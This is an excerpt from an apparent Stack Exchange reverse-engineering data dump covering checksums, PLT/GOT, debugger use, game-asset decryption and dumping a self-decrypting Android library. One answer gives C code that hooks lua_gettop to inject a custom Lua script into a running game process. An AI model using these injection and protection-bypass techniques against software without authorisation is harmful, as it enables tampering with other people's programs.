are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!hYwhTIqT!jBhSDnNBRCGhBfhStVmZwXBDo6GrDB5hO3XEfJescR8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!hYwhTIqT!jBhSDnNBRCGhBfhStVmZwXBDo6GrDB5hO3XEfJescR8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update Dec 18&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I wrote a new program to analyze your new data, calculate the shift from each section automatically, then try and find init sequences that have 2 of the 3 bytes identical, and output the shift value, checksum value, and the binary values of the different byte, the shift, and the checksum again. Here's the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ==== comparing bytes 1 and 2 ==== &#xA;01,26,1A: shift=4 chksum=b964 00011010 100 1011100101100100&#xA;01,26,24: shift=0 chksum=4bea 00100100 000 0100101111101010&#xA;01,3F,21: shift=2 chksum=e781 00100001 010 1110011110000001&#xA;01,3F,4E: shift=4 chksum=93e7 01001110 100 1001001111100111&#xA;02,17,1F: shift=4 chksum=bde5 00011111 100 1011110111100101&#xA;02,17,34: shift=0 chksum=5b72 00110100 000 0101101101110010&#xA;02,38,17: shift=4 chksum=7fee 00010111 100 0111111111101110&#xA;02,38,3A: shift=0 chksum=e74a 00111010 000 1110011101001010&#xA;02,38,3A: shift=0 chksum=e74a 00111010 000 1110011101001010&#xA;02,38,5E: shift=0 chksum=e6da 01011110 000 1110011011011010&#xA;03,36,0F: shift=1 chksum=6fb7 00001111 001 0110111110110111&#xA;03,36,25: shift=1 chksum=6d17 00100101 001 0110110100010111&#xA;03,41,19: shift=2 chksum=3da0 00011001 010 0011110110100000&#xA;03,41,1E: shift=2 chksum=3d40 00011110 010 0011110101000000&#xA;05,26,2B: shift=6 chksum=fd12 00101011 110 1111110100010010&#xA;05,26,30: shift=0 chksum=4bc2 00110000 000 0100101111000010&#xA; ==== comparing bytes 1 and 3 ==== &#xA;00,22,53: shift=3 chksum=2f89 00100010 011 0010111110001001&#xA;00,28,53: shift=3 chksum=7f89 00101000 011 0111111110001001&#xA;00,28,53: shift=3 chksum=7f89 00101000 011 0111111110001001&#xA;00,13,53: shift=3 chksum=a788 00010011 011 1010011110001000&#xA;01,50,4E: shift=4 chksum=73ea 01010000 100 0111001111101010&#xA;01,3F,4E: shift=4 chksum=93e7 00111111 100 1001001111100111&#xA;01,48,4F: shift=6 chksum=cf25 01001000 110 1100111100100101&#xA;01,5C,4F: shift=6 chksum=cf2f 01011100 110 1100111100101111&#xA;01,3A,54: shift=0 chksum=730a 00111010 000 0111001100001010&#xA;01,39,54: shift=0 chksum=750a 00111001 000 0111010100001010&#xA;02,27,0B: shift=4 chksum=b8e9 00100111 100 1011100011101001&#xA;02,12,0B: shift=4 chksum=f8e4 00010010 100 1111100011100100&#xA;04,4B,24: shift=4 chksum=c864 01001011 100 1100100001100100&#xA;04,49,24: shift=4 chksum=e864 01001001 100 1110100001100100&#xA;04,37,31: shift=1 chksum=6126 00110111 001 0110000100100110&#xA;04,4C,31: shift=1 chksum=9726 01001100 001 1001011100100110&#xA;05,39,11: shift=2 chksum=d601 00111001 010 1101011000000001&#xA;05,1D,11: shift=2 chksum=f600 00011101 010 1111011000000000&#xA;05,5A,1E: shift=4 chksum=39eb 01011010 100 0011100111101011&#xA;05,0C,1E: shift=4 chksum=f9e1 00001100 100 1111100111100001&#xA;05,26,30: shift=0 chksum=4bc2 00100110 000 0100101111000010&#xA;05,51,30: shift=0 chksum=a5c2 01010001 000 1010010111000010&#xA; ==== comparing bytes 2 and 3 ==== &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's no two init sequences that differ only in byte 1, but that was to be expected as the others have a lot more possible values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a LibreOffice version of this that has relevant bytes colored at &#xA;&lt;a href=&quot;https://mega.nz/#!oAwSSITQ!xWcfLMB5_46iYSlOhm_Uh6g1cz_LRmxhXohZnw3uTQc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!oAwSSITQ!xWcfLMB5_46iYSlOhm_Uh6g1cz_LRmxhXohZnw3uTQc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this, we see that when bytes 1 and 3 are identical:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the shift value is identical as well&lt;/li&gt;&#xA;&lt;li&gt;the number of bits that are different in the second byte equals the number of bits that are different in the third byte, marked yellow in the .odt document&lt;/li&gt;&#xA;&lt;li&gt;in the case where we have 3 times the same bytes (00 xx 53), i marked the version that differs from the two others in red, and the patterns match between byte 2 and the checksum as well&lt;/li&gt;&#xA;&lt;li&gt;the bits in the input byte 2 are not equal to the corresponding bits in the output, but the bits flip in the same way in all cases where byte 1 is the same, so byte 1 seems to be an index into an xor table&lt;/li&gt;&#xA;&lt;li&gt;the bit difference patterns are shifted to the left/right by a different amount every time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From this, it seems like byte 2 gets shifted and xored with some value determined by bytes 1 and 3, and it seems like the xor value is determined by the following table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Byte 1   xor value&#xA;00       07&#xA;01       03&#xA;02       81&#xA;03       F8 (see below)&#xA;04       07&#xA;05       03&#xA;06       unknown&#xA;07       does not occur&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if we check the table where bytes 1 and 2 are the same, xor byte 2 with the value determined from byte 1, and search for this in the checksum bit pattern, we find that pattern every time, albeit shifted by different amounts. These patterns are marked in pink. However, there's some difference to the table; byte 0 = [ 01 or 05 ] seems to mean xor 03 in every case of the bottom table; it seems to mean xor 00 here in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, no real result yet, but some progress, and it keeps being interesting.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-12-18T22:27:56.703" LastActivityDate="2016-12-18T22:27:56.703" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14100" PostTypeId="1" AcceptedAnswerId="14101" CreationDate="2016-12-03T11:20:18.447" Score="0" ViewCount="397" Body="&lt;p&gt;Whenever there is a call to a function of a dynamically linked library (0x400586 in the example at the end), the call first leads to a few lines in the .plt section, which in turn starts with a jmp to an address found in the GOT (see 0x400450). It looks like this (unconditional!) jmp does not get executed the first time, which makes sense, as the GOT has not been set up yet, and will be done with the following lines (0x400456). But what kind of magic prevents the jmp at 0x400450 from being taken the first time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's some code to clarify my question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400586: call 0x400450 &amp;lt;puts@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;puts@plt then looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400450: jmp QWORD PTR [rip+0x200bc2]&#xA;0x400456: push 0x0&#xA;0x40045b: jmp 0x400440&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18297" LastEditorUserId="18297" LastEditDate="2016-12-03T11:49:24.057" LastActivityDate="2016-12-03T12:44:10.173" Title="How is the first jmp skipped in plt entry" Tags="|functions|got|plt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14101" PostTypeId="2" ParentId="14100" CreationDate="2016-12-03T12:44:10.173" Score="2" Body="&lt;p&gt;In the file on disk, the GOT slot referenced in &lt;code&gt;0x400450&lt;/code&gt; is initially set up with the address of the PLT stub at &lt;code&gt;0x400456&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the jump &lt;em&gt;is&lt;/em&gt; taken the first time and goes to 0x400456 which pushes the target symbol's index (0 here) and jumps to the resolver (PLT0) stub at &lt;code&gt;0x400440&lt;/code&gt; which finally goes to the dynamic loader routine, which:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;looks up the target symbol's address using the symbol index&lt;/li&gt;&#xA;&lt;li&gt;patches the GOT slot so it points to the target (&lt;code&gt;puts&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;jumps to the target so that the program behaves as if it was called directly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, the next time &lt;code&gt;puts@plt&lt;/code&gt; is called, the jump goes directly to the already-resolved  &lt;code&gt;puts&lt;/code&gt; without going through the dynamic loader again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you to follow these steps in a debugger for a clearer picture.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-03T12:44:10.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14102" PostTypeId="1" CreationDate="2016-12-03T15:00:14.170" Score="4" ViewCount="2533" Body="&lt;p&gt;&lt;strong&gt;Context&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to decrypt a game for its assets for learning purposes. I have extracted out said assets from the game package, they are in formats of &lt;code&gt;.json&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt; and &lt;code&gt;.lua&lt;/code&gt;. However, they are encrypted. Inspecting the files in hex view, I noticed something particularly interesting: all of their bytes start with &lt;code&gt;4448 4741 4d45 53&lt;/code&gt;, which in ascii corresponds to the publisher of the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have done&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ran a &lt;code&gt;strings&lt;/code&gt; command on the game binary to extract all the strings out, one of which should be the decryption key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wrote a python script to try each of the possible keys on these encrypted assets using AES, XXTEA and XOR. The key is validated if the decryption result is a valid json/lua text file. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Usually these two steps alone would find me the key for many other games, but this time to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other steps can I do to try to decrypt these assets statically without having to gdb into runtime? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;** The link to assets can be found here &lt;a href=&quot;https://www.dropbox.com/sh/7pqhvpsa0ems0q9/AAA8lHrudeix3hJ0Rz2tXPSxa?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/sh/7pqhvpsa0ems0q9/AAA8lHrudeix3hJ0Rz2tXPSxa?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14142" LastActivityDate="2018-06-03T22:28:29.477" Title="Decrypting assets (json/png/lua)" Tags="|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14103" PostTypeId="2" ParentId="14081" CreationDate="2016-12-03T16:42:43.733" Score="0" Body="&lt;p&gt;They are the local variables in a function. The rules of them are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ordered on the stack frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pointer by ESP register.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Eg. var_4 = SS:[ESP - 4], var_8 = [ESP - 8], var_C = SS:[ESP - C], ...&lt;/p&gt;&#xA;" OwnerUserId="13658" LastEditorUserId="13658" LastEditDate="2016-12-03T16:50:07.780" LastActivityDate="2016-12-03T16:50:07.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14104" PostTypeId="2" ParentId="14102" CreationDate="2016-12-03T19:59:11.783" Score="3" Body="&lt;p&gt;There are a few things you can still try, like running &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;signsrch&lt;/a&gt; over the binary to see if it has any encryption algorithm signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, gzipping these files increases their size:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gbl@roran:~/Temp/14102$ ls -l&#xA;-rw-r--r-- 1 gbl users 1319 Dez  3 20:40 effect.json&#xA;-rw-r--r-- 1 gbl users  119 Dez  3 20:40 version.lua&#xA;gbl@roran:~/Temp/14102$ gzip *&#xA;gbl@roran:~/Temp/14102$ ls -l&#xA;-rw-r--r-- 1 gbl users 1354 Dez  3 20:40 effect.json.gz&#xA;-rw-r--r-- 1 gbl users  154 Dez  3 20:40 version.lua.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which &lt;em&gt;might&lt;/em&gt; be a hint they're compressed as well -- but maybe not, as encrypting them should increase their entropy just the same, which would result in the same effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, check if the result of your decryption step has a compressor signature, and decompress if it has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But honestly, disassembling the code, checking for the &lt;code&gt;4448 4741 4d45 53&lt;/code&gt; string, where it is referenced, and starting your reversing there, is probably the only way to do this. Remember the encryption key might be any binary byte sequence as well, or even generated on runtime, so you can't really assume to find it using &lt;code&gt;strings&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-12-03T19:59:11.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14105" PostTypeId="1" CreationDate="2016-12-03T21:14:07.597" Score="5" ViewCount="7598" Body="&lt;p&gt;Is there a way to stop execution each time some memory address is accessed?&lt;/p&gt;&#xA;" OwnerUserId="18299" LastActivityDate="2017-03-04T07:17:12.760" Title="Immunity Debugger - Memory Breakpoint" Tags="|immunity-debugger|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14106" PostTypeId="2" ParentId="14105" CreationDate="2016-12-04T05:15:21.070" Score="4" Body="&lt;h1&gt;Yes&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For a memory access breakpoint&lt;sup&gt;1&lt;/sup&gt;, just &lt;code&gt;right click&lt;/code&gt; the desired address &gt; &lt;code&gt;Breakpoint&lt;/code&gt; &gt; &lt;code&gt;Memory, on access&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5bTxG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5bTxG.png&quot; alt=&quot;Code hwbp&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to values in the hex dump:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LW2vG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LW2vG.png&quot; alt=&quot;Data hwbp&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: A breakpoint on &lt;em&gt;access&lt;/em&gt; will break whenver the address is read, written or executed. An &lt;em&gt;execution&lt;/em&gt; breakpoint will &lt;em&gt;never&lt;/em&gt; break on read/write.&lt;/p&gt;&#xA;" OwnerUserId="17693" LastActivityDate="2016-12-04T05:15:21.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14107" PostTypeId="1" CreationDate="2016-12-04T06:28:18.503" Score="1" ViewCount="1215" Body="&lt;p&gt;I'm doing a kernel debugging on a VmWare installed Windows 10 corporate edition (x64 version 1607 build 14393.447). I use Ida Pro 6.6 with the WinDbg plugin. On my host i have the same OS , with Debugging Tools For WIndows 10 installed. When i connect to the target machine, all the symbols are loaded correctly except for the win32 system ( win32k.sys/win32kbase.sys/win32kfull.sys ). I have the symbols defined in my user-environment variable like so : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_NT_SYMBOL_PATH=srv*c:\symbols*https://msdl.microsoft.com/download/symbols&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i choose load symbols in Ida modules menu i get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINDBG&amp;gt;!sym noisy&#xA;noisy mode - symbol prompts on&#xA;&#xA;Trying loadDataForExe with 14000000&#xA;loadDataForExe: 806d0012&#xA;Trying loadDataForExe with ffffffff&#xA;loadDataForExe: 806d0005&#xA;PDB: could not process file \SystemRoot\System32\win32kbase.sys with DIA: Failed to open the file, or the file has an invalid format (E_PDB_NOT_FOUND)&#xA;&#xA;Trying loadDataForExe with 13dd0000&#xA;loadDataForExe: 806d0012&#xA;Trying loadDataForExe with ffffffff&#xA;loadDataForExe: 806d0005&#xA;PDB: could not process file \SystemRoot\System32\win32k.sys with DIA: Failed to open the file, or the file has an invalid format (E_PDB_NOT_FOUND)&#xA;&#xA;Trying loadDataForExe with 14960000&#xA;loadDataForExe: 806d0012&#xA;Trying loadDataForExe with ffffffff&#xA;loadDataForExe: 806d0005&#xA;PDB: could not process file \SystemRoot\System32\win32kfull.sys with DIA: Failed to open the file, or the file has an invalid format (E_PDB_NOT_FOUND)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;lmi output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WINDBG&amp;gt;!lmi win32kbase&#xA;Loaded Module Info: [win32kbase] &#xA;Cannot read Image header @ ffff81ce14000000&#xA;Load Report: export symbols&#xA;&#xA;WINDBG&amp;gt;!lmi win32k&#xA;Loaded Module Info: [win32k] &#xA;Cannot read Image header @ ffff81ce13dd0000&#xA;Load Report: public symbols , not source indexed &#xA;                     c:\symbols\win32k.pdb\0383A6141581403B9E8426F05328D45F1\win32k.pdb&#xA;&#xA;WINDBG&amp;gt;!lmi win32kfull&#xA;Loaded Module Info: [win32kfull] &#xA;Cannot read Image header @ ffff81ce14960000&#xA;    Load Report: public symbols , not source indexed &#xA;                 c:\symbols\win32kfull.pdb\A792B492035540D397D66128F30037B01\win32kfull.pdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all really annoying, because sometimes the symbols just loads correctly, i do not know on what this depends, i found a similar topics in google &lt;a href=&quot;https://www.sysnative.com/forums/bsod-processing-apps-download-information-discussions/3366-symbols-could-not-loaded-win32k-sys-3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; they had the same problem, but with the dumps. &#xA;This is really annoying problem, maybe someone had the same problem, trying to do some reverse-engineering the win32k subsystem, and can help me.&lt;/p&gt;&#xA;" OwnerUserId="17455" LastEditorUserId="17455" LastEditDate="2016-12-05T08:50:47.177" LastActivityDate="2016-12-05T08:50:47.177" Title="Symbols could not be loaded for win32k drivers" Tags="|ida|windows|windbg|kernel-mode|debugging-symbols|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14110" PostTypeId="1" CreationDate="2016-12-04T12:55:59.113" Score="3" ViewCount="599" Body="&lt;p&gt;I am a newbie in reverse engineering and I was trying to understand this blog post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://0x0atang.github.io/reversing/2015/09/17/flareon2-concolic.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://0x0atang.github.io/reversing/2015/09/17/flareon2-concolic.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one point, the author says the following when looking at the arguments of a function he wants to run using symbolic execution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's zoom into and find out more about the function sub_401084. It takes three arguments, namely (1) address to a buffer of bytes at 0x4010E4, which is presumbly the reference key for verification, (2) address to a user input buffer at 0x402159, and (3) the length of the user password supplied to the program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how does he figure out the addresses of the 3 arguments? In IDA pro you just have the stack view with the offsets with respect to EBP. I have tried to do this calculation but I don't get his values. Can anyone tell me how I should reason? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="18308" LastActivityDate="2020-04-22T06:03:25.347" Title="IDA Pro addresses of arguments" Tags="|ida|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14111" PostTypeId="2" ParentId="14110" CreationDate="2016-12-04T17:08:50.263" Score="1" Body="&lt;p&gt;He probably didn't : the executable is packed, ASLR is disabled and relocations are stripped. Which means the two address arguments &lt;code&gt;0x4010E4&lt;/code&gt; and &lt;code&gt;0x402159&lt;/code&gt; are fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7iawd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7iawd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are major consequences since :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the first argument &lt;code&gt;0x4010E4&lt;/code&gt; is &lt;code&gt;sub_401000&lt;/code&gt; ( &lt;code&gt;sub_401084&lt;/code&gt; caller) return address ! Since ASLR is disabled, this is a constant. You can see here : &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S0mvn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0mvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the second argument &lt;code&gt;0x402159&lt;/code&gt; is a static buffer in the binary &lt;code&gt;.data&lt;/code&gt; segment. Since relocations are stripped, this is also a constant.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the general case (ASLR + reloc), it's much more complicated. There is &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8870/extracting-arguments-from-ida&quot;&gt;a great SO/RE question about extractin functions args in Idapython&lt;/a&gt; which then must be glued with &lt;code&gt;angr&lt;/code&gt; Memory states in order to work properly.&lt;/p&gt;&#xA;" OwnerUserId="18227" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-12-04T17:08:50.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14112" PostTypeId="1" CreationDate="2016-12-04T17:20:10.217" Score="3" ViewCount="138" Body="&lt;p&gt;I am currently trying to reverse engineer a proprietary serialization format. In some of the sections the encoding is unknown to me. What I was able to figure out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 byte 0b00?????? &quot;6bit signed int&quot; (0x00 = 0, 0x3F = 63, 0x40 = -64, 0x7F = -1)&lt;/li&gt;&#xA;&lt;li&gt;2 byte 0xC? 0x?? &quot;12 bit signed int&quot; (0xC0 0x40 = 64, 0xC7 0xFF = 2047, 0xC8 0x00 = -2048, 0xCF 0xBF = -65)&lt;/li&gt;&#xA;&lt;li&gt;3 byte 0xD? 0x?? 0x?? &quot;20bit signed int&quot;&lt;/li&gt;&#xA;&lt;li&gt;4 byte 0xE? 0x?? 0x?? 0x?? &quot;28bit signed int&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Everything big endian, btw.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Strings seem to be 0xF3 ... 0x00&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does somebody know/recognize this encoding?&lt;/p&gt;&#xA;" OwnerUserId="18312" LastActivityDate="2016-12-04T17:20:10.217" Title="Recognize this encoding (in a serialization context)?" Tags="|encodings|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14113" PostTypeId="2" ParentId="14091" CreationDate="2016-12-05T01:02:54.953" Score="3" Body="&lt;p&gt;One way of doing this :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Localize &lt;a href=&quot;http://pgl.yoyo.org/luai/i/lua_gettop&quot; rel=&quot;nofollow noreferrer&quot;&gt;lua_gettop&lt;/a&gt; in your target binary with IDA (which should be called very frequently). You can get it by downloading Lua sources, and look for error messages in your target binary. You should be able to reconstruct little by little the Lua runtime by looking at XRefs of lua functions containing error messages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook lua_gettop, and retrieve the lua_State reference in the first argument :&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lua_State * hLua = NULL;&#xA;&#xA;int __cdecl lua_gettop_hook (lua_State *self) {&#xA;    int (__cdecl *hooked) (lua_State *) =&#xA;        (typeof(hooked)) get_original_function (lua_gettop_hook);&#xA;    hLua = self;&#xA;    return hooked (self);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Once your lua_gettop hook have been called, load your own version of luaXX.dll inside the game process (using LoadLibrary). &lt;strong&gt;Make sure you load the same lua library version than in the game!&lt;/strong&gt; - for instance, lua51.dll.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HMODULE lua51 = LoadLibrary(str_dup_printf(&quot;%s/luajit/lua51.dll&quot;, luaPath));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Call the function you want using the stolen lua_State reference, for instance luaL_loadfile :&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load &lt;a href=&quot;http://pgl.yoyo.org/luai/i/luaL_loadfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;luaL_loadfile&lt;/a&gt; using GetProcAdress, and call it :&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOADFILEFN _luaL_loadfile = (typeof(_luaL_loadfile)) GetProcAddress (lua51, &quot;luaL_loadfile&quot;); &#xA;&#xA;// Load custom script &quot;script.lua&quot;&#xA;if (_luaL_loadfile (hLua, str_dup_printf(&quot;%s/script.lua&quot;, scriptPath))) {&#xA;    MessageBox (NULL, &quot;Cannot load script.lua&quot;, &quot;ERROR&quot;, 0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By doing so, you'll be able to inject your own Lua code using the current Lua context of the game.&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="11799" LastEditDate="2016-12-05T10:32:43.640" LastActivityDate="2016-12-05T10:32:43.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14115" PostTypeId="1" AcceptedAnswerId="14120" CreationDate="2016-12-05T10:14:09.997" Score="0" ViewCount="303" Body="&lt;p&gt;I'm debugging android JNI with gdb without source code. I use &lt;code&gt;ni&lt;/code&gt; command to step over arm asm instructions. I suppose &lt;code&gt;ni&lt;/code&gt; is &lt;code&gt;step over&lt;/code&gt;, but it still goes into function like &lt;code&gt;BL xxxx&lt;/code&gt;, and I have to use &lt;code&gt;finish&lt;/code&gt; to get back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;ni&lt;/code&gt; and &lt;code&gt;si&lt;/code&gt;, seems no difference, why? &lt;/p&gt;&#xA;" OwnerUserId="17710" LastActivityDate="2016-12-06T12:51:47.933" Title="why 'ni' goes into function in Android gdb debugging?" Tags="|android|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14116" PostTypeId="1" CreationDate="2016-12-05T16:35:12.370" Score="1" ViewCount="7342" Body="&lt;p&gt;I have encrypted Android &lt;code&gt;so&lt;/code&gt; library that decrypts itself on load. I want to get its unencrypted code. For me it looks good idea to dump that library from memory when application started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;/proc/self/maps&lt;/code&gt; to get loaded process memory map. I found 3 segments that correspond to the library in memory maps and used &lt;code&gt;/proc/self/mem&lt;/code&gt; to dump these 3 segments to binary files. So, I got 3 binary files: code, writable data and read only data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to parse these 3 binary files and assemble them back to &lt;code&gt;so&lt;/code&gt; file that Android can run &amp;amp; debug?&lt;/p&gt;&#xA;" OwnerUserId="18321" LastEditorUserId="18321" LastEditDate="2016-12-07T10:16:02.170" LastActivityDate="2020-11-06T08:41:30.910" Title="How to dump Android shared library from memory?" Tags="|android|shared-object|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
